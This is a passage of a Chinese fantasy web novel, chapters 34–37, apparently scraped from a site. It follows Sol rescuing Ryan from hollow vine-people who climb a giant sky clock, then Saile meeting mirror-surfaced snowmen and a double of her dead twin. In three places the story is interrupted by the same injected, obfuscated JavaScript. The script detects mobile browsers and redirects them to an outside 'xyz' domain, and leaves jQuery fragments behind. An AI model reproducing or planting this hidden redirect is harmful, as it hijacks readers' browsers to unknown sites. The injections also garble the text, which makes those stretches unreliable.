整个枯藤岭所有树上的表盘,一个一个如光幕一般从树干上剥离开来,不断朝着上空飞去。 随即,那一瞬的“暂停键”仿佛被重新启动。 取而代之出现的,是更大更快的走针声、和洪钟大吕的嗡鸣声,长短交叠响动。 犹如拆错了线的定时炸弹,开始了急速催进的末日计时。 顿时,整个山林间的藤蔓都开始焦躁起来了! 一个个空心人不断从落叶中攒起,空洞茫然的双眼焦虑地看向周围。 所有树上的、地下的藤蔓都蠢蠢欲动——包括那几条捆绑住阮廷榭的藤蔓。一阵松动后阮廷榭感觉周身绑缚一空,瞬间从高处掉了下来。 “Ryan!”索尔立刻起身跑了过去。 还好阮廷榭拉住树上的两条藤蔓做了缓冲,又在摔下来的时候落到几只空心人身上做了二次缓冲,被索尔接住时才安稳落地。 就在这时,另一边,洛祈的脑内忽然响起一阵物灵哼鸣。 什么情况? 他将水晶珠串举到眼前,跟大家同频后,发现所有人的珠子都变成了浑浊的绿色。于是连忙打开行李箱,神奇的是,正有些物件上开始逐步出现图案。 “索尔,你们那边发生了什么吗?”虽然关注着视野画面,但毕竟有限,洛祈问,“比如,有没有小孩子出现?” “没有。”索尔环顾四周,回道。 而这时索尔惊讶地发现,刚刚那些如光幕般飞上天的钟面,现在已经汇集壮大到无以复加,大到整个天幕上,竟然都被一面巨大的时钟表盘所填满! 三支浩大粗长的黑色指针正在不断走动,走针声如雷贯耳。 秒针尖端垂下一条黑链,一只尾钩正悬在末端,随着旋转摆荡不停。那剪影仿若死神的黑色镰刀,正无情地催动着所有人。 而刚刚那个空心的阮廷榭此时就站在钟面正下方,一条长藤甩上去,勾住黑链尾端趁势而起,一跃上了三支黑色指针的正中心。 空心阮廷榭转头看向地面,脸上依旧是鲜血淋漓,斜长伤口狰狞。 但并不妨碍他露出了胜利的表情。 那表情不是针对索尔。 而是针对浩浩荡荡正在奔赴钟面下方、空心的藤蔓人们。 毋庸置疑,他是第一个,上去的。 此时,那些空心人们前赴后继,如蝗虫过境不顾一切地向前奔去。 一时间索尔都不知道这里到底还有多少空心人!他赶紧扶着阮廷榭到大树底下,免得被踩踏。 空心人们彼此冲撞,角力冲向钟面下方,一个接一个向上甩出或长或短的藤蔓,都想够那正在旋转着的黑色链条。 有个空心人的藤蔓更粗更长,一下就能勾到,便借力跃攀上链条。黑色指针走到时钟的数字“1”处,停下了。那个空心人抬腿一跨,坐在了数字“1”上。 继而,黑色秒针再次开始旋转起来。 地面的空心人们抬头望着比刚才速度更快的黑链,气氛凝滞一秒,尔后是更加庞大的躁动!许许多多空心人相互搏斗起来,似乎想要拼个你死我活。 另外一些藤蔓不够长但力气大的空心人,甚至不惜将身边的小个子推推搡搡踩到身下——以助力它们站在更高处够那条黑链。 一个,两个,三个……指针渐次停下,钟面数字“23456”被更多空心人占据。 俨然将要过半。 “我看到了!”与此同时,另一边物件上一个个的图案描边出现,传感耳机内洛祈即时同频,“是中空的绿色五边形框!一共有12个!” 苍穹之下的争夺战,愈加疯狂。 被推倒踩踏的空心人们奋力地站起来,他们似乎转换了方式——甩出的藤蔓不再向上去够黑色链条,而是死死缠住那些已经拉住链条的人,绝不松手! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788718|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >抓住链条的空心人们一边踢蹬着下方拉拽的人,一边拼命地往上爬。 于是一幕近乎荒谬的情景出现了—— 黑色秒针尖端垂下的仿佛不再是一根细细的黑链,而是一队被吊起的空心人!越往下越多,人群呈金字塔状展开,似乎所有人都在爬一座隐形的山。 那“人山”既多又沉,但黑色指针的运动轨迹却纹丝不动,依旧机械地旋转着。 于是人山被拉动,渐渐变成斜山,又变成即将歪曲折断的陡崖,可即便如此所有空心人仍然不松手。 终于,在黑色指针转过某个微小的角度之后,“人山”被一折为二,山尖被高高吊起,而山峰以下断裂的部分轰然崩塌,犹如刚搭好的一座积木城堡原地溃散。 那些空心人们层层叠叠滚落下来,相互碾压、破碎、不得脱身,仿佛一场大型的踩踏事故。 而被吊起的“山尖”部分,犹如被狂风吹动的枝丫在空中晃荡,恐怕正在进行着无与伦比的存亡之战。 空心阮廷榭坐在指针中心,托腮看着那几个空心人相互拉扯,用尽全力掰断对方身上的藤枝,大有一种“哪怕我上不去,你也别想上去”的架势。男孩纤细的手指点在脸上,显得颇为怡然自得。 他早已是一个胜利者。 眼前的一切对他来说,不过是场精彩的表演。 如此激烈的存亡之战,也比不过时钟的残酷,几乎顷刻之间,指针就走到了“7”的位置。 指针停滞的一霎,嗡鸣钟响,巨大的后坐力震颤而下!空心人们再也抓不住——除了最上面的那个,一个接一个从高高的天际直直坠落,掉进人山谷底,瞬间便藤断叶散,摔得粉碎。 角力的获胜者奋力攀上数字坐上去,忍不住地啸叫起来。 黑色指针再次开始转动。 而奇怪的是,刚刚那一幕仿佛噩梦重演:“人山”再次堆积而上,黑色链条再次拉着山峰缓缓移动,再次扭曲变形,再次一分为二,再次开始惨烈的争夺战。 一分钟,60秒,像被拉得无限长。 “疯了,都疯了……”索尔震惊四顾,他高高昂起脖颈,看向空心阮廷榭头顶几乎已经看不清,却仍在发出暗淡绿光的星星。 明知希望不大,他还是想把那颗星星拿回来。 嗡鸣钟声又相继响过三下,地面的“尸山血海”已经堆积出一座实打实的高山。 那些藤蔓相互交织、扭曲、缠绕,枯叶被一层层压实,仿佛最坚实的钢筋水泥。 索尔将阮廷榭安置在树边,转头迅速攀爬上那座“高山”,他大步流星,手脚并用,攀得很快——顺理成章的,引起了空心阮廷榭的注意。 嗡鸣钟声再度响起,进入最后一分钟的轮回。 空心阮廷榭站起身,眼中满是迸射的惊喜。 “我的琥珀,你是来寻我的吗?” “你想多了,”索尔站定,看向他,“我是来拿回属于Ryan的东西。” 空心阮廷榭顿时露出失望之色,似乎大惑不解:“我是整个枯藤岭当之无愧的强者,万中挑一,而你居然要守着那个废物?” “少自以为是了,”索尔皱眉,“强者?谁规定的标准?” 此时的索尔站在峰顶,天幕仿佛触手可及。他回头望了望,整个枯藤岭如坠无边炼狱,“如果这就是你所谓的强,那我看这里也离倾覆不远了。” “哈哈哈……哈哈哈哈……” 空心阮廷榭像被逗乐,笑个不停,“倾覆?我的琥珀,你太天真了……” 最后一下嗡鸣钟声划破长空,淹没了空心阮廷榭的声音。12个数字全部被空心人所填满,黑色链条收起,没攀上去的空心人们七零八落掉了下去。 三根黑色指针浩浩荡荡地转起来,犹如直升机高速旋转的桨叶,扇起剧烈的狂风。 随后,从数字“1”开始,犹如收起一把折扇,天幕时钟一扇一扇的,逐渐开始自苍穹上呈扇形消失。 “只要这里的生存危机还在延续,”空心阮廷榭站在指针中央,俯身加大音量,一字一顿冲索尔喊道,“……枯藤岭就永远不会消失!” 索尔被飓风吹得几乎站不稳,他眯起眼,尽力稳住身形,眼看时钟就要收到最后一扇—— 三根黑色指针重叠的那一瞬,便从尖端开始逐渐向内消弭。 空心阮廷榭眉眼弯弯,发丝被吹得凌乱不堪,仍得意洋洋冲他飞了一个吻。 “我们还会再见的,我的,琥珀……” 他的尾音夹杂在指针最后的消弭中,不见了。 35.天使的号角 天幕再一次归于平静,呈现出一种寂寥的白。 也无风雨,也无晴日。 索尔依旧站在枯藤山巅,可周围俨然已经是一片死寂,悄无任何的声息——没有剧风呼啸、时钟回响,也没有爬藤辗转、枯叶窸窣……那些东西就那样静静地待在地面,仿佛天地之间,只徒留自己的呼吸。 “……结束了,吗?”传感耳机内,洛祈的声音弱弱响起。除了震惊与惶然,此时的他几乎说不出任何话。 “应该吧……”索尔沉沉呼出一口气,转身一步步向山下走去。 阮廷榭仍在山麓下的大树旁歇息。 索尔走回他身边,蹲下来抱了抱他,“没事了,Ryan……” 此时的阮廷榭虽然周身还是没什么力气,但还是努力抬起手,揽住他的肩膀“嗯”了一声。 可阮廷榭的星星还是没有拿回来。 索尔低下头,看着阮廷榭仍有些涣散的双眸,想起刚刚空心人的只言片语,蹙起眉,略带迟疑地问道,“Ryan,你还记得……我们之间的回忆吗?比如说……我们是怎么认识的?” “嗯,我……”阮廷榭刚想说自己当然记得,但忽然间,调取那些大脑中的记忆片段就像是透过一整片磨砂玻璃——他怎么都看不清了! 明明感觉话就在嘴边,可他就是组织不起来。 “我、我记得的,”阮廷榭焦急起来,瞬间红了眼眶,他拉开二人的距离,眼神止不住地乱飘,在头脑中疯狂搜寻,“我记得的,索尔,我、我明明记得的!” 他的喘息变得越来越快,双手攥紧自己的发丝,惊恐抬头,几乎开始语无伦次。 “好了,好了!”索尔见状,当即拉住阮廷榭的双臂让他放下来,随后揽住他,一手轻轻拍着阮廷榭的后背,一手摸摸他的后脑,“没事,没关系,Ryan,你先冷静下来。” 阮廷榭的脑袋埋在索尔肩头,像一只迷路的小狗,忍不住呜咽起来。 “会有办法的,”索尔笃定道,“一定会。” “……真的?”阮廷榭抬头看他。 “当然。”索尔顺手擦掉他的眼泪,浅浅笑了下,“别担心。即使你全都忘了,我也可以一件一件再重新讲给你听,这没什么大不了。” 索尔的声音总是这样,有种让人安心的魔力。 阮廷榭点了点头,声音有点发闷,但还是说,“好吧。” “至少你还记得我这个人,可喜可贺!”索尔开起玩笑。 “……”阮廷榭破涕为笑,抿了抿唇,小声道,“我怎么可能会不记得你。” “好啦,”索尔坐下来,长舒了口气,“现在来好好处理一下伤口。” 刚刚只做了临时处理,阮廷榭乖乖背过身去,让索尔揭开纱布,重新处理伤口。 终于确定两人还算平安的其他人也松了口气。 传感耳机内,洛祈对索尔说道,“你们别担心,告诉阮阮,我们一定会找回他的星星的。” “是啊。”许梦扬很有些气愤,“无法无天了,连星星都敢偷?!” 埃文本意也是想安慰他们的,可此时却无法不加深了对伊甸的担心。 “对了!”洛祈忽然想起刚刚未完的话题,“索尔,你还没说,你是怎么找到阮阮的呢,还有那什么……地衣,”他有些记不清,“……的号角?” 索尔被逗笑了,纠正道,“是天使的号角。” “啊对,”洛祈略微尴尬地笑了下,“是什么东西啊?” 索尔手上不停,娓娓道来,“是这样的……” 原来,索尔刚上岛的时候,首先看到的是一大片濒危植物园,其数量、品种、类别都远远超过他跟随的研究团队。 这对于一个濒危植物研究者,毫无疑问是莫大的吸引力。当时,索尔简直想挨个给那些没见过的植物做切片,好带回研究所。 不知怎的,即使理性如他,都差点陷进去,忘记了他们来时的目的。 可直到他开始在园区中漫步,并且无意间看到一丛向阳而生的“天使的号角”时——才恍然反应过来,有问题! “天使的号角”是木曼陀罗属的一种濒危植物。 虽然只在特定的实验园中见过,但索尔记得其最大的特色,便是它们特别的形态:垂垂而下收拢的花苞、绽开的尾端,犹如欧洲中世纪淑女典雅修身的鱼尾裙。 这样的形态从没有意外——但当时园区内的那丛“天使的号角”居然高高扬起,开放得跟一般的喇叭花别无二致! 这有问题,很不对劲。 索尔紧盯着那丛高昂的花朵,再次回想起当时导师在介绍时,曾用“恶魔的号角”来形容过这种植物——因为它具有非常强的致幻性,和许多能作用于人类自主神经系统的生物毒素。当时在植物界也不乏闻到其花香而陷入无意识中的记载。 糟了,如果自己已经陷入了麻醉…… 索尔顾不得其他,拉过背包用力砸向那丛天使的号角。 果不其然,在昂扬的白色花瓣被砸得七零八落之后,眼前的一切如海市蜃楼被揭开,开始出现了动摇。 视野弥散,又重建,迷雾散去,眼前出现了真实的场景。 那是一片龟裂的大地。死气沉沉,毫无生机。 而阮廷榭不在他身旁。 索尔的星星便在此时现身,“比我想的要快,你很棒。”那声音温润和煦,不疾不徐,虽然带着清脆的尾音,却会让索尔想起他当植物学家的爷爷。 于是向来开朗阳光的索尔,顺理成章地和星星交上了朋友。并从它那里,知晓了关于星星的来历状况。 也是在那时候,索尔猛地反应过来,他和阮廷榭两人的装备,竟然都在自己这! 情况不妙,他开始一边在附近找阮廷榭,一边通过传感通讯和其他伙伴联系,但大家似乎都不在一起,没办法给他提供助力。 索尔找了一大圈,没看见任何人。 虽然有些沮丧,但他本身性格喜欢谋定而后动,而非无头苍蝇似的瞎找,便坐下来思考到底该怎么办。 直到他发现龟裂大地上有一层薄薄的地衣,这才迎来了事件的转机。 地衣不是植物,而是一种由真菌和某些特殊的藻类组合而成的共生复合体——也是陆地上最初的生命。 无论是怎样严苛的环境,处处都有地衣生长。 这里能看见,也就意味着,地衣会像一层保护膜一样遍布这座岛屿。 索尔有了想法,他先是询问星星能不能与地衣交流,在得到肯定的答案后,他们展开了几轮至关重要的感知对话。 首先,他告知了阮廷榭的身高体重等信息,以便地衣通过对全岛的感知,划定相关区域。随即,他在几个确定的区域中,开始对已知信息做排除法。 在大致有了方位之后,索尔便动身出发,一边通过星星和地衣确认,一边保持传感通讯的连通,以便能共享信息。 他身高腿长边走边跑,速度很快。 有了星星和地衣的加持,一路走得还算顺利。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804547|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下一个转机来自他稍作歇息时,想起的MR隐形眼镜。他记得自己装了一副在医用包里,不出意外那是阮廷榭唯一剩下的装备。 然而甫一戴上,眼前瞬间出现的凌乱不堪、动荡不定的视野画面就让他大吃一惊,好像谁在进行第一视角的搏斗。 根据他们当时已经同频的人员信息,索尔很快得出结论,那很可能就是阮廷榭! 他的视野几乎天旋地转,忽上忽下忽明忽暗,最重要的是,索尔看见一个模糊的医用包在凌乱的画面中越来越远。 没错了,就是阮廷榭! 索尔当即就很想说话,但发现没有办法做任何沟通,便将MR眼镜中的视野同步给了地衣进行精准查找。 得到定位后他心急如焚,一刻不停,脑中只有一个念头:他得快点,他要救Ryan! 最后一个转机,便是他找到医用包的那一刻。 一切都变得明晰起来。 双方搏斗的痕迹在地上拖出一条长轨,他就沿着这条引线一路追踪,终于在关键一刻,救下了即将窒息的阮廷榭。 “事情就是这样了。”索尔道,“后面的,你们应该也都知道了。” “天啊,”洛祈听得心惊肉跳,“还好你及时赶到了。” “是啊。”索尔仍有些心有余悸,“还好。” “你们俩都平安就好。”埃文道。 “那这样说来……”许梦扬忽然思索道,“那我们也能通过地衣,探知到对方的位置吗?” “应该可以。”索尔道,“或许我们可以借此向对方的地址靠近。” “可是,”洛祈提出了一个很现实的问题,“要以谁为核心点呢,我们应该都在不同的地方,相互之间的距离也有近有远。” “各位不用担心,”黑牒的声音出现,“当前岛屿的地图已经基本绘制完毕,既然大家在一个五边形岛屿的不同板块,那么,会和最好的位置一定是中心点。” 下一秒,黑牒就将一份虚拟地图投射在了他们的目镜上。 地图中心,有一个很大的黄色☆符号。 旁边则有几个红点正在闪烁,红点下方是人的名字。 “这是我们的位置吗?”洛祈问。 “是的,”黑牒回答,“已经戴上设备的人,就会显示在地图上。” “1、2、3……”埃文数了一下,还是四个红点——也就意味着,当前还是只有洛祈、许梦扬、他和索尔在线。 忽然一个红点从无到有、从小到大出现,闪烁起来,埃文眼前一亮,立刻问道:“是谁?” “抱歉……”索尔听出埃文语气中的急切,“还是我们,我刚帮Ryan带上装备。” “哦,”埃文道,“好,没事。” 经过刚才那件事,现在谁都不敢说伊甸和剩下的伙伴们到底会遭遇什么,只能祈祷她们都能逢凶化吉。 “现在,”黑牒道,“会和路线已经标注在地图上,大家只需按照路线去到中心点,应该就能会面。” “太好了!”洛祈道。 仿佛终于看见曙光,身处不同方位的伙伴们纷纷开始准备动身出发。 索尔搀扶起阮廷榭,背上两个包,确认好正确的方向,再度启程。感受着落叶在脚下发出细碎声响,身后的枯藤岭正在离他们越来越远。 那些爬藤们依旧寂静无比,这一战元气大伤,不知会需要恢复多久,也许是几日,也许是几周,几个月,几年……谁知道呢? 或许是永远也说不定。 36.镜面人 焦土大地上,星星点点的萤火虫出现。 它们错落有致地组成一支荧光小径,明暗交接,仿佛在将迷路的旅人,引向正确的路。 洛祈这边正准备收拾行李,跟随着萤火虫出发,一低头,便又看见那12个物件上,正闪烁着绿色的中空五边形框。 以往按照他的经验,只要哼鸣声起,水晶珠转动,接下来便会有物灵配对环节。可是这一次,完全不像之前他和埃文那样,直接有消失的孩子出现。 一切好像就停在这了。 洛祈顺手拿起最近的一个物件——那是一本厚厚的硬壳笔记本,外壳边缘早被擦出毛边,右下角手写着一个【8】,似乎是某个序列体系。翻开内页,中轴粘胶的地方应该开裂过不止一次,纸张有些泛黄。 笔记本内页是空白页类型,但此时被密密麻麻的数字和图案填满。从头到尾。字迹算不上多好看,但是很工整。洛祈一页一页翻过去,红色、蓝色、黑色布满泛黄的纸张。看起来是一本错题集。 合上笔记本,洛祈逐个回忆这12个物件的来历,但始终不得其解,硬要找共同点的话,或许只能是,这些孩子比其他失踪的孩子都要大? 其中最大的一个,今年刚刚17岁。 最小的一个,也已经14岁了。 可是,然后呢? “各位,”洛祈只好求助,将一个物件拿到眼前,“我这边刚刚出现图案的12个物件,现在还是这样,可是没有出现孩子们……大家有什么想法吗?” 许梦扬调节视野,仔细看了一下,说,“我记得中空的绿色边框,代表主体缺失,对吧?” “是的,”埃文道,“我也记得,还有主体缺失的星星无法发声。但是,那些听不见星星声音的孩子会在哪呢?” “……我有一个想法,”索尔迟疑开口,“如果你们有看到的话,是否还记得,当时那面巨大的天幕时钟,应该是带走了13个空心人。” 除了空心阮廷榭,还有另外12个。 “对哦!”洛祈回忆道,“这么说……会是那12个吗?” “只能说,不无可能。”索尔道。 “可是他们现在在哪呢?”洛祈疑惑,“那些空心人被带去哪了?” “这个……”/“不知道。” 许梦扬和埃文一前一后道。 “混沌之海!” 忽然,四个清脆的声音响起。 洛祈、许梦扬、埃文和索尔头顶的星星几乎异口同声道。 “什么?” “如果是当时被带走的那些空心人,”索尔的星星道,“那最有可能的方向,就是混沌之海。” “的确。”许梦扬的星星道,“除了枯藤岭,恐怕只有那里最适合他们。” 几个星星的话语被大家讨论起来。 “……也就是说,”洛祈手指逐一点过有绿色边框的物件,“这些孩子最有可能出现在混沌之海,那么,混沌之海在哪呢?” “我记得来这座岛之前,”埃文想起之前听见的不知是咒语还是什么的声音,“岛外那一片海好像是?” “不止。”埃文的星星道。 “在整座岛屿下方。”洛祈头顶,毛茸茸的声音道,“那是另一个空间。” “另一个……空间?” “当整座岛屿被翻起,就会看见混沌之海。”星星们说。 被翻起?!洛祈顿感诧异,这么看来,好像还不是个想去就能去的地方。他缓缓合上行李箱,正思索着接下来要怎么办,忽然,一个红色光点在虚拟地图上出现,闪烁起来。 接着,是一道异常开朗的声音,“嗨嗨嗨?大家好啊!” 听起来,应该是塞勒。 “是塞勒吗?”许梦扬立即问道。 “……啊,对啊,是塞勒,”对方继而笑道,“是我。” 洛祈动作一顿,歪头回想,确实很像,但有种说不上来的感觉。不过毕竟对塞勒不是很熟,只好自顾自耸了耸肩。 不料下一秒,耳机内一声短促的警报响起—— “各位,请注意,”黑牒换成了机械音,“塞勒的声纹无法匹配,鉴定失败。” 随即,所有人都听见黑牒在耳机内连续通报了三次:“鉴定失败。” “你是谁?!”许梦扬皱起眉,“塞勒呢?” 耳机内出现了一两秒诡异的沉默。 “阿欧。”迟疑片刻后对方开口,“好吧,真没劲啊。” “你到底是谁?!”许梦扬追问。 然而说话的人此时已经取下头盔,双手点在头盔边缘,转帽子一样,将头盔在手间翻转一圈,兴致缺缺地看向塞勒,“我还想跟他们打个招呼呢。” 唯一遗憾的,恐怕就是塞勒此时并没有戴上MR隐形眼镜。 否则他们就会看到此时站在塞勒视野正前方、在一片高高的雪丘上的,是一个跟她长得极其相似的人。 两人拥有极相似的眉眼与鼻梁,同样的小麦肤色,甚至连脸型都整体一致。只是塞勒的下巴稍稍尖一些,而那人的下巴比她的幅度更平。 但整体而言,忽略那人的短发和稍长的身高,那几乎就是塞勒本人。 或者说,那几乎是一个男版塞勒。 不过,即使他们看到了可能也不会知道这是个什么人,可塞勒知道。 她紧紧攥着两只拳,眼睛一眨不眨。这个长相、身高、说话腔调,毫无疑问是她母亲一胎双生的孩子——她的亲弟弟,赛蒙。 跟别的男孩子变声幅度不同,赛蒙就连说起话来的音色,都跟塞勒的相差无几。 所以耳机另一头的伙伴们才没在第一时间察觉出来。 但这显然是一件十足荒唐的事。 因为她的弟弟…… 早就死了。 耳机另一边的几人相继追问,但谁都没再得到任何反馈。 谁都不知道到底发生了什么。 ——包括塞勒自己。 她下意识咬住嘴唇内侧,在脑海中把所有发生的事全部回顾一遍,依然无法确信眼前发生的一切。 起初,她是在一片雪地中醒来的。 那样厚的雪,塞勒只在北欧的风景中看到过。也正因如此,她确定自己已经上岛了——因为西班牙或整个南欧,从没有积过这样厚的雪。 “哈喽?”从雪地中坐起身,塞勒活动了下脖子,冲周围大声喊道:“有人吗?” 无人回应,四周依稀只有空谷回响。 “好吧。”看来她是跟伙伴们走散了…… 复古的哈雷护目镜在身旁砸出了个长方形小坑,她拾起来,倒掉目镜中两碗冰凉的雪。呼出的气变成了白雾,手上的雪开始融化,塞勒逐渐开始感觉到有些冷。 所幸她记得自己带了御寒的衣服,就在背包里。可环顾周围,一片白雪皑皑,目之所及是一大片连亘的雪丘,高高低低,犹如一片连绵起伏的雪浪。 而她的背包不见踪影。 塞勒站起身,一边拍打身上的积雪,一边低头在周围的雪地上寻找。目测这片雪地的厚度至少二十公分,指不定被埋在哪了。 再抬头时,塞勒发现每一个雪丘上都有一个……雪人? 等等,这些雪人是刚刚就在那里吗? 塞勒转身一圈,眺望四周,只见雪丘之上,一个个雪人错落分布,宛若大自然的鬼斧神工。它们在这冰天雪地中静静伫立,没有纽扣眼睛,也没有胡萝卜鼻子和树枝手臂——就只是许多纯粹而洁白的雪人。 “好神奇……”塞勒不由感叹,忽而又想,“我的背包会不会在雪丘后头呢?” 塞勒动身往雪丘走去,脚下发出沉闷的“咯吱”声,尽管她体力不错,雪地中的每一步却仍然有些费力。 阳光很好,但照在身上好像也没什么温度,徒留一片明亮的清冷。 塞勒穿过一段缓坡,步上雪丘,大片阳光倾洒在洁白无瑕的积雪上,仿若一层厚厚的伪装。 而随着距离的拉近,塞勒才惊讶地发现,那些雪人并非由寻常的冰雪堆砌而成。甚至她都无法断定,是否还能将它们称为雪人。 因为她从“雪人”的身上,看到了自己逐渐走近的身影。 “怎么可能呢……”塞勒凑近,她的身影也凑近, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841258|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逐渐与雪人的轮廓相合起来,她向左侧身,又向右侧身,她的身影也同样地动起来,“这也……太神奇了。” 雪人表面有着一种超乎想象的奇异质感。 非要形容的话,塞勒感觉看起来很像流动的水银。在无形的力量下,正以一种极为缓慢且难以察觉的速度蜿蜒流淌——光滑的“水银”被包裹在人形中,既不破裂、也不溃散、有序而清晰地倒映出周围的每一个细节。 这个雪人毫无褶皱,几乎是一面完美的镜子! “……原来是这样。”恍然间塞勒才明白,之所以远远看起来是“雪人”,则根本是因为它们周身完美映照出了雪地的缘故! 她的目光从眼前的“雪人”上移开,又逐一看向周围能见的所有雪人,这才终于确定,它们是一群拥有雪人形态的……镜面人。 不知是不是光线角度的原因,眼前这个镜面雪人的“眼尾”忽而亮了一下,像是刚好反射到太阳的一个光点,又像是一个俏皮的wink——就跟她小时候看过的卡通人物一样。 塞勒情不自禁伸出手,想触碰一下,但随即又想到……水银有毒。虽然她不清楚到底是不是水银,但,万一是呢? 塞勒看看周身,越野服是贴身的,手缩不回去,用脚好像也不大合适,最后她从头上取下哈雷护目镜,用目镜边缘轻轻碰了下镜面雪人。 神奇的是,她并未听到任何硬物碰撞的声音。 目镜接触到镜面的瞬间,水银般的表面泛起层层涟漪,打破了原本的平静,接着镜面人开始微微颤动。 “瞧瞧,”一道慈和的声音响起,雪人的表面依然映照出塞勒的样子,可发出的声音却像一位老婆婆,十分违和,“是谁这么冒失啊?” “呃,”塞勒的心砰砰直跳,“抱、抱歉。” 仿佛是急于找补点什么,塞勒快速道,“我是塞勒,呃,我的意思是,我好像是迷路了。你知道这里是哪里吗?” 镜面人依旧是老婆婆的声音,对着她慈和道,“你希望是哪里呢?” “我呃……我希望?”这太奇怪了,就像自己在照镜子,而镜子里的自己有个老灵魂似的。 这个问题在脑子里转了一圈,没得出确切答案,塞勒只好压下心中的奇异观感,转而问道,“实在无意冒犯,但我的背包丢了,我正在找一个大的登山包。你有看到吗?” “找东西?”老婆婆的声音呵呵笑了下,“太容易了。” 镜面人向她伸出雪人般浑圆的手,“但我要先看一下,你的背包是什么样的。” 塞勒有点迷惑,她盯着面前这只“手”略显迟疑,“……怎么看?” “把你的手给我就可以了。”镜面人道,“我自然能看到你心里背包的样子。” “哈?你的意思是……”塞勒重复道,“你能看见我心里的东西?” “当然。这里所有的雪人,都可以看到。”镜面人又笑了下,“前提是,征得你的同意。” 塞勒半信半疑抬起手,落下去之前,她还是没忍住问了句,“你这个手……能碰吗?会不会有毒啊?” 镜面人呵呵一笑,“只要你认为可以碰,那就没问题。” “好吧。”塞勒将手放到雪人浑圆的手上,冰冰凉凉,很光滑,还真挺像水银。 几乎是瞬间,镜面人的表面,就浮现出了登山包的样子。 “对!”塞勒兴奋道,“我的包就是这个!” 随即,周围所有的雪人身上都从上到下划过一道光芒。犹如一面面刚开封的镜子,摇身一变,开始接连反射出它们周边雪丘附近的状况。 “找到了。”不过几秒,镜面人就说,“反射回来了。” 话音刚落,一个被反射过数次的小登山包镜像,出现在了眼前的镜面雪人右侧。 塞勒瞬间明白,为什么“老婆婆”会说找东西太容易了,因为这里所有的雪人都是反射源!它们布满雪丘,层层反射映照,只要东西还在这片地域,不管是在什么犄角旮旯总能找到。 “现在,顺着反射面去到下一个雪人那里吧。”镜面人说,“不出十个雪人,就会看见你的登山包。” 37.镜面审判 塞勒转了七道弯,在第八个雪人那里看见了自己倒插葱似的登山包。 居然能被甩到这么远的地方,真是匪夷所思。 她小跑过去,拉起背包,拍掉积雪,又打开大致检查了下背包里的东西,还好,东西都在。 身旁的雪人依旧映照出她的样子。塞勒站起身,觉得有必要道声谢。于是再次用目镜边缘碰了下面前的雪人,不过更加小心。 水银般的表面一阵轻微颤动之后,“雪人”活了过来,第一句话便脱口道,“哦,这是你的东西啊。” 仍然是老婆婆的声音。 “对。”塞勒感激道,“谢谢!” “没什么,”镜面雪人伸了个懒腰,“除了把我从梦中惊醒,有些令人困扰。” “啊,抱歉抱歉,”塞勒嘿嘿一笑,“不好意思打扰你睡觉了。不过……如果你不介意的话,方便告诉我这里是哪儿吗?”她边说着,边从包里摸索传感头盔,“我在找我的同伴。” 如果这些镜面雪人能帮她找到背包,那说不定,也可以帮她找到同伴呢——如果他们都还在附近的话。 然而接下来,镜面雪人的话让塞勒吃了一惊。 “这里是哪儿?”雪人老婆婆开口道,“这要问你啊,这里是你潜意识中印象最深刻的地方。你没有任何想法?” 塞勒动作一顿,犹疑地看向镜面人,像在问自己,“我吗?好像……没有哎。” “噢,”老婆婆的声音略显无奈,“OK,我知道了,大概又是什么保护机制在起作用吧。” “等下,什么?”塞勒有些迷茫。 “你知道的,人类的大脑中都有一种叫做‘保护机制’的存在,在我看来就类似于粉色的肥皂泡吧,通常在遭遇了什么重大冲击啊,悲伤啊等等这种时候就会开始生效——比如我忽然发现自己没有眼睛这种,当然,也不是那么必要,我就是举个例子。”雪人老婆婆又接着道,“那些粉色的肥皂泡给你的大脑涂上一层保护膜,然后你就把那些信息屏蔽啦。” “你说我的保护机制在起作用?”塞勒颇为惊讶,讪讪一笑,“不太可能吧。” 她是真的没这种感觉。 “为什么不可能?”镜面人不置可否,“当保护机制起作用之后,你是不会记得的。”它身躯一动,映照出的塞勒身影消失无踪,再次变成了洁白的雪人,问道,“看看这周围,你看到什么?” 塞勒环顾四周,迟疑道,“……雪?” “嗯哼,”雪人老婆婆再次问,“然后呢?” “然后就……没了。”塞勒坦诚道,“其它看不见了。” “那就对了。”雪人的身躯光芒一闪,镜面再次映照出塞勒的身影,“你永远不会知道,在冰雪之下都覆盖着什么……就像人心一样。” “就像人心一样……”塞勒喃喃。 “那么,你在想什么呢?”镜面雪人又向塞勒伸出浑圆的手,似乎饶有兴味,“或者说……你把什么隐藏起来了?有兴趣一窥究竟吗?” “……”那只浑圆的手水银般的表面倒映出塞勒此时的神情,惊讶,犹疑,但好奇,像是在决定是否要打开一只意外发现的潘多拉魔盒。 塞勒抬头看向镜面人,镜面中的她也看回来,四目相对,犹如一种无言的审视。 